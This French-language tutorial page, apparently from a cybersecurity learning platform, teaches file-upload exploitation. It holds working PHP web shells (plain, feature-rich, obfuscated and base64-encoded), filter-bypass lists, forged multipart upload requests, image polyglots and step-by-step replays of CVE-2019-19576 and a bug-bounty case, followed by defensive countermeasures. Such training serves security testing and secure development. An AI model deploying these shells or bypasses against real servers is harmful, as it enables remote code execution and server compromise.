Exploitation du telechargement de fichiers

Transformez les telechargements de fichiers innocents en execution de code a distance

Telechargement de fichiers Web Shells Contournement de filtres

Ce que vous allez decouvrir

🎯 Pourquoi c'est important

Les vulnerabilites de telechargement de fichiers representent l'un des chemins les plus directs vers l'execution de code a distance dans les applications web. Alors que les applications dependent de plus en plus du contenu genere par les utilisateurs et des fonctionnalites de partage de fichiers, ces vulnerabilites sont devenues plus repandues et sophistiquees. Une attaque de telechargement de fichiers reussie peut conduire a une compromission complete du serveur, une exfiltration de donnees et un mouvement lateral dans les reseaux internes.

🔍 Ce que vous allez apprendre

Vous comprendrez comment identifier les vulnerabilites de telechargement de fichiers et contourner les filtres d'extension, de type MIME et de contenu. Cela inclut la creation de web shells pour diverses technologies serveur, l'exploitation des fonctionnalites de telechargement d'images a l'aide de fichiers polyglotes et l'obtention d'une execution de code a distance, les memes techniques systematiques utilisees par les experts en securite pour evaluer la securite des applications.

🚀 Votre premiere reussite

Dans les 10 prochaines minutes, vous allez contourner avec succes plusieurs restrictions de telechargement pour deployer un web shell PHP fonctionnel, obtenant une execution de commandes a distance sur le serveur cible et demontrant l'impact critique d'une validation de fichiers inadequate.

🔧 Essayez ceci maintenant

Testez les techniques basiques de contournement de telechargement de fichiers

# Creer un web shell PHP simple
<?php
if(isset($_GET['cmd'])) {
    echo "<pre>";
    system($_GET['cmd']);
    echo "</pre>";
}
?>

# Enregistrez sous shell.php et essayez de telecharger

# Si .php est bloque, essayez des alternatives :
shell.php3
shell.php4
shell.php5
shell.phtml
shell.phar

# Si les extensions sont filtrees, essayez :
shell.jpg.php (double extension)
shell.PHP (manipulation de casse)
shell.php%00.jpg (octet nul)

# Si le type MIME est verifie, interceptez avec Burp et changez :
Content-Type: image/jpeg

# Testez l'execution :
http://<target>/uploads/shell.php?cmd=whoami

Vous verrez : Comment differentes techniques de contournement fonctionnent contre divers mecanismes de validation. Cette approche pratique revele pourquoi la validation en couches est essentielle et comment les tests systematiques trouvent les faiblesses.

Competences que vous allez maitriser

✅ Comprehension fondamentale

  • Vecteurs d'attaque de telechargement de fichiers et points d'entree
  • Techniques de contournement de validation cote serveur
  • Developpement et deploiement de web shells
  • Creation et exploitation de fichiers polyglotes

🔍 Competences avancees

  • Techniques d'evasion de filtre et d'encodage
  • Execution de code a distance via inclusion de fichiers
  • Methodes de post-exploitation et de persistance
  • Pratiques de developpement securise et de validation

Comprendre les vulnerabilites de telechargement de fichiers

Les vulnerabilites de telechargement de fichiers surviennent lorsque les applications echouent a valider correctement les fichiers telecharges

Le probleme fondamental est que les applications font souvent confiance aux fichiers fournis par l'utilisateur sans validation appropriee, permettant aux attaquants de telecharger du contenu malveillant qui peut etre execute sur le serveur. Cela devient particulierement dangereux lorsque les fichiers telecharges sont stockes dans des repertoires accessibles par le web et peuvent etre directement executes par le serveur web.

Faiblesses courantes

Erreurs typiques d'implementation de validation

Validation cote client uniquement
Liste noire d'extensions
Usurpation de type MIME
Validation de contenu faible
Traversee de chemin
Stockage de fichiers non securise

Vecteurs d'attaque

Methodes utilisees pour exploiter les telechargements de fichiers

Telechargement de web shell
Fichiers polyglotes
Double extension
Injection d'octet nul
Abus d'extraction ZIP
Injection de metadonnees d'image

Impact potentiel

Ce que les attaquants peuvent accomplir

Execution de code a distance
Compromission complete du serveur
Exfiltration de donnees
Mouvement lateral
Defacement
Backdoors persistants

Outils et techniques

L'exploitation du telechargement de fichiers repose principalement sur la comprehension des mecanismes de validation et la creation de charges utiles qui les contournent, ce qui en fait une competence qui recompense les tests systematiques et la resolution creative de problemes.

Developpement de web shells : la technique fondamentale

Les web shells sont l'objectif principal de l'exploitation de telechargement de fichiers car ils fournissent une execution de commandes directe sur le serveur cible, transformant essentiellement une vulnerabilite de telechargement en acces a distance.

Developpement de web shells PHP

# Web shell PHP basique
<?php
if(isset($_GET['cmd'])) {
    echo "<pre>";
    system($_GET['cmd']);
    echo "</pre>";
}
?>

# Web shell avance avec fonctionnalites
<?php
if(isset($_POST['cmd'])) {
    echo "<pre>" . shell_exec($_POST['cmd']) . "</pre>";
}
if(isset($_FILES['upload'])) {
    $target = $_FILES['upload']['name'];
    move_uploaded_file($_FILES['upload']['tmp_name'], $target);
    echo "Fichier telecharge : " . $target;
}
?>
<html>
<body>
<h3>Web Shell</h3>
<form method="post">
<input type="text" name="cmd" placeholder="Commande" size="50">
<input type="submit" value="Executer">
</form>
<form method="post" enctype="multipart/form-data">
<input type="file" name="upload">
<input type="submit" value="Telecharger">
</form>
</body>
</html>

# Shell obfusque pour eviter la detection
<?php
$a = 'sys';
$b = 'tem';
$c = $a.$b;
if(isset($_GET['x'])) {
    $c($_GET['x']);
}
?>

# Shell encode en Base64
<?php
eval(base64_decode('c3lzdGVtKCRfR0VUWydjbWQnXSk7'));
?>

Les web shells fournissent la base pour une exploitation ulterieure, vous permettant d'explorer le systeme de fichiers, d'escalader les privileges et d'etablir un acces persistant.

Contournement de filtres : l'avantage de l'expert

Comprendre comment contourner divers mecanismes de validation est ce qui distingue les tests systematiques des tentatives aleatoires. Cela necessite une connaissance du fonctionnement des differents parseurs et validateurs.

Contournement d'extension et de type MIME

# Techniques de contournement d'extension

# Extensions alternatives (specifiques au serveur)
PHP: .php, .php3, .php4, .php5, .phtml, .phar
ASP: .asp, .aspx, .ashx, .asmx, .cer, .asa
JSP: .jsp, .jspx, .jsw, .jsv, .jspf

# Manipulation de casse
shell.php - shell.PHP, shell.Php, shell.pHp

# Double extension
shell.jpg.php
shell.png.php5
shell.gif.phtml

# Injection d'octet nul (systemes anciens)
shell.php%00.jpg
shell.php\x00.png

# Usurpation de type MIME via Burp Suite
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg  # Type MIME usurpe

<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--

# Contournement HTAccess (si les telechargements .htaccess sont autorises)
AddType application/x-httpd-php .jpg
# Puis telechargez du code PHP en tant que fichier .jpg

Ces techniques de contournement fonctionnent car la validation ne verifie souvent qu'un seul aspect du fichier, manquant les cas limites et les differences de parseur.

Fichiers polyglotes : exploitation avancee

Les fichiers polyglotes apparaissent comme des images valides aux verifications de validation mais contiennent du code executable, vous permettant de contourner la validation basee sur le contenu tout en maintenant la capacite d'attaque.

Creation de polyglotes d'image

# Polyglote GIF/PHP
GIF89a
<?php system($_GET['cmd']); ?>

# Polyglote JPEG/PHP (ajouter PHP apres les en-tetes JPEG)
# Utilisez un editeur hexadecimal pour ajouter du code PHP apres une structure JPEG valide
\xFF\xD8\xFF\xE0\x00\x10JFIF...\xFF\xD9
<?php system($_GET['cmd']); ?>

# Utiliser exiftool pour injecter du PHP dans les metadonnees d'image
exiftool -Comment="<?php system(\$_GET['cmd']); ?>" image.jpg
mv image.jpg shell.php

# Polyglote SVG/XSS
<svg xmlns="http://www.w3.org/2000/svg">
<script>
<![CDATA[
alert('XSS');
]]>
</script>
</svg>

Les fichiers polyglotes demontrent une comprehension avancee des formats de fichiers et comment creer des fichiers qui satisfont plusieurs validateurs tout en maintenant la fonctionnalite malveillante.

Scenarios d'attaque reels

Ces scenarios sont bases sur des decouvertes reelles de bug bounty et des decouvertes CVE par des chercheurs en securite, demontrant comment les vulnerabilites de telechargement de fichiers se traduisent en compromissions reelles.

CVE-2019-19576 : Contournement de filtre Class.upload.php (Critique)

Le chercheur en securite Jinny Ramsmark a decouvert un contournement de filtre dans class.upload.php <= 2.0.3 qui permettait le telechargement arbitraire de fichiers menant a une RCE. Cette vulnerabilite a affecte de nombreuses applications, notamment l'extension Joomla K2. Source

# Etape 1 : Identifier le point de telechargement vulnerable
# Cible executant class.upload.php <= 2.0.3
# Courant dans Joomla K2 et autres extensions CMS

# Etape 2 : Decouvrir le contournement d'extension .phar
# Le filtre d'extension a mis en liste noire .php, .php3, .php4, .php5, .phtml
# Mais a manque l'extension .phar qui s'execute comme PHP sur Debian/Ubuntu

# Etape 3 : Creer un polyglote d'image avec charge utile
# Le fichier contient des en-tetes JPEG valides + charge utile PHP
# Octets magiques : FF D8 FF E0 (JPEG valide)
# Suivi de : <?php system($_GET['c']); ?>

# Etape 4 : Telecharger l'image malveillante
POST /upload.php HTTP/1.1
Content-Type: multipart/form-data

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="image.jpg.phar"
Content-Type: image/jpeg

[JPEG_HEADERS]<?php system($_GET['c']); ?>
------WebKitFormBoundary--

# Etape 5 : Executer des commandes
GET /images/image_resized.phar?c=uname%20-a
# Reponse : Details du serveur Linux

# Resultat : RCE complete tout en maintenant une apparence d'image valide

Impact chronologique : Signale le 3 decembre 2019 ; patche dans les 24 heures ; a affecte des applications comme Joomla K2 avec des installations repandues sur le web.

Cas Bug Bounty : Contournement Base64 de telechargement de profil (Prime $$$$)

Le chercheur en securite Akash A a documente une vulnerabilite de telechargement de profil ou le filtrage cote serveur bloquait les mots-cles "php" mais acceptait les charges utiles encodees en base64, conduisant a une recompense de prime significative. Source

# Etape 1 : Reconnaissance
# Identifier un serveur Apache via Wappalyzer
# Localiser la fonctionnalite de telechargement d'image de profil

# Etape 2 : Tester les restrictions initiales
# Telecharger un fichier .php bloque par validation cote client
# Intercepter avec Burp Suite, changer .jpg en .php

# Etape 3 : Decouvrir le filtrage par mot-cle
# Charge utile : <?php system($_GET['cmd']); ?> est BLOQUEE
# Le serveur detecte le mot-cle "php" et rejette le telechargement

# Etape 4 : Contournement par encodage Base64
# Original : echo shell_exec($_GET['cmd'].' 2>&1');
# Base64 : ZWNobyBzaGVsbF9leGVjKCRfR0VUWydjbWQnXS4nIDI+JjEnKTs=

# Etape 5 : Deployer la charge utile finale
POST /profile/upload HTTP/1.1
Content-Type: multipart/form-data

------WebKitFormBoundary
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/jpeg

<?=eval(base64_decode('ZWNobyBzaGVsbF9leGVjKCRfR0VUWydjbWQnXS4nIDI+JjEnKTs='));?>
------WebKitFormBoundary--

# Etape 6 : Obtenir la RCE
GET /uploads/shell.php?cmd=whoami
# Reponse : www-data

# Resultat : Compromission complete du serveur via contournement par encodage

Reconnaissance Bug Bounty : Cette decouverte a rapporte une recompense bug bounty a quatre chiffres, soulignant l'impact financier et la severite des vulnerabilites de telechargement de fichiers dans les applications de production.

Contre-mesures defensives

Une protection efficace contre les telechargements de fichiers necessite l'implementation de plusieurs couches de securite qui fonctionnent ensemble pour empecher l'exploitation. Ces contre-mesures eprouvees sont essentielles pour les environnements de production et sont utilisees par les grandes organisations pour securiser les operations de gestion de fichiers.

Defense primaire : validation de fichiers multicouche

La base des telechargements de fichiers securises repose sur une validation complete a plusieurs points de controle. Chaque couche fournit une securite independante que les attaquants doivent contourner, rendant l'exploitation significativement plus difficile.

  • Liste blanche d'extensions (jamais de liste noire) - Maintenez une liste stricte de 3 a 5 extensions de fichiers autorisees maximum, revue trimestriellement
  • Verification du type MIME - Validez les en-tetes de contenu en utilisant des bibliotheques cote serveur qui examinent le contenu reel du fichier
  • Application de la taille de fichier - Implementez des limites de taille strictes basees sur les exigences metier
  • Validation de la structure du contenu - Utilisez des bibliotheques specialisees pour verifier l'integrite du format de fichier
  • Assainissement des noms de fichiers - Supprimez les caracteres dangereux et remplacez les noms de fichiers originaux par des noms aleatoires cryptographiquement securises

Implementation de securite critique

Au-dela de la validation de base, ces mesures de securite sont obligatoires pour les environnements de production et requises par les cadres de conformite comme SOC 2 et PCI DSS.

  • Prevention de l'execution au niveau du serveur web - Configurez le serveur pour traiter tous les fichiers dans les repertoires de telechargement comme du contenu statique
  • Isolation du stockage securise - Stockez les fichiers telecharges en dehors de la racine web autant que possible
  • Retraitement des fichiers et suppression des metadonnees - Retraitez automatiquement les images et documents pour supprimer le contenu integre
  • Integration de scan antivirus - Implementez un scan en temps reel avant le stockage des fichiers
  • Application de la politique de securite du contenu - Appliquez des en-tetes CSP stricts lors de la diffusion de contenu telecharge

Exigences de strategie de defense de production

  • Multiples couches de validation independantes - Chaque controle de securite doit fonctionner independamment
  • Principes de conception fail-secure - Tous les echecs de validation doivent entrainer un rejet du telechargement
  • Mises a jour de securite regulieres - Maintenez les versions actuelles de toutes les bibliotheques de traitement de fichiers
  • Procedures de reponse aux incidents - Etablissez des procedures claires pour repondre aux exploits reussis

🎯 Vous maitrisez l'exploitation du telechargement de fichiers !

Vous comprenez maintenant comment transformer des telechargements de fichiers innocents en vecteurs d'execution de code a distance. Vous pouvez contourner les mecanismes de validation, creer des web shells et exploiter diverses vulnerabilites de traitement de fichiers en utilisant les memes techniques systematiques que les experts en securite utilisent pour evaluer la securite des applications.

Exploitation de telechargement Contournement de filtres Developpement de web shells Execution de code a distance Developpement securise

Pret a securiser les applications web contre les vulnerabilites critiques

Validation des Connaissances

Démontrez votre compréhension pour gagner des points et progresser

1
Question du Chapitre

Vous essayez de téléverser votre web shell PHP 'supershell.php' sur le serveur cible. Le serveur a un filtre de sécurité qui vérifie que l'extension du fichier contient '.jpg'. Comment renommeriez-vous votre fichier pour contourner le filtre ?

1
Lire
2
Valider
3
Terminer

Prêt à suivre votre progression?

Créez un compte gratuit pour sauvegarder votre progression, gagner des points et accéder à plus de 170 labs pratiques de cybersécurité.

Commencer à Apprendre Gratuitement
Rejoignez 5 000+ hackers qui apprennent la cybersécurité avec des labs pratiques. Créer un Compte